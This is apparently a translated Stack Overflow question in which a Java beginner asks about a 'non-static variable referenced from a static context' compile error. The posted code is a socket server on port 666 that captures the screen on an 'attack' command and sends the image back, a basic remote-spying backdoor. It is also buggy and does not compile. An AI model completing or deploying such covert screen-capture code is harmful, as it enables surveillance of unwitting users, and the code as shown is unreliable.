可能重复:
不能从静态上下文(java)引用非静态变量
编译以下java代码时出现上述错误。我是这种语言的新手,我对代码不太确定。我可以清除正常错误,但这个我不明白它是什么。请帮助我
public class Kari_Server
{
ServerSocket server_socket=new ServerSocket(666);
Socket soc=server_socket.accept();
DataInputStream data_in=new DataInputStream(soc.getInputStream());
DataOutputStreamdata_out=newDataOutputStream(soc.getOutputStream());
int a=1;
int i;
public void screen()throws Exception
{
Robot robo=new Robot();
BufferedImage screen_shot=robo.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ImageIO.write(screen_shot,"JPG",new File("C:\\windows\\temp\\screen_shot"+a+".jpg"));
FileInputStream file_in=new FileInputStream("C:\\windows\\temp\\screen_shot"+a+".jpg");
byte[] mybyte=new byte[1024];
try
{
while((i=file_in.read(mybyte))>-1)
data_out.writeUTF(mybyte,0,i);
}
catch(Exception e) {}
}
public static void main(String args[])throws Exception
{
Kari_Server kari=new Kari_Server();
while(true)
{
String s1=" ";
s1=data_in.readUTF();
if(s1=="attack")
kari.screen();
else
System.exit(0);
}
}
}